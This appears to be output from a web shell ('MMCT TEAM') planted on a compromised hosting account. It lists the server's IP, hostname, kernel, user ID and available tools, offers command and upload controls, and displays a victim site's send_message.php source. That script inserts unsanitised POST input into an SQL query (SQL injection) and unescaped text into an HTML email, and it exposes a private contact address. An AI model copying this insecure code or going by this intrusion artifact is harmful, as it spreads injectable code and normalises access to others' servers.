MMCT TEAM
Server IP : 2a02:4780:11:1361:0:bf7:7935:10  /  Your IP : 3.145.49.72
Web Server : LiteSpeed
System : Linux in-mum-web1261.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u200767797 ( 200767797)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u200767797/domains/shivainternational27.com/public_html/dashboard/include/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u200767797/domains/shivainternational27.com/public_html/dashboard/include/send_message.php
<?php  
include("../../connection.php");



$admin = $_POST['admin_id'];
$subject = $_POST['subject'];
$txt = $_POST['message'];

    $cate=mysqli_query($con,"SELECT * FROM `admins` WHERE `id` = '$admin' order by id asc");
            
            while($row=mysqli_fetch_array($cate)){
                $name = $row['name'];
                $email = $row['email'];
            }


$to = "softcoresolutions2019@gmail.com"; // this is your Email address
    $from = $email; // this is the sender's Email address
    $headers = "From:" . $from."\r\n";
    
    $subject = $subject;
    
    $message = "";
    
   
    
    $value ='Support enquirey from '.$name;
    



$message.='<html>
<body style="border:2px solid #031384; width:540px; float:left;">

<p style="font-size: 18px;">'.$value.'</p>
<p style="font-size: 16px;">Message : '.$txt.'</p>

</div>

</body>
</html>';
$message2 = "";
    
    $headers .= 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

 $go =  mail($to,$subject,$message.$message2,$headers);

            
            if($go){
                echo "<script>
alert('Message sent successfully. We will contact you shortly.');
window.location.href='../home.php';
</script>";
            }else
            {
                echo "<script>
alert('Error.');
window.location.href='../home.php';
</script>";
            }


?>

MMCT - 2023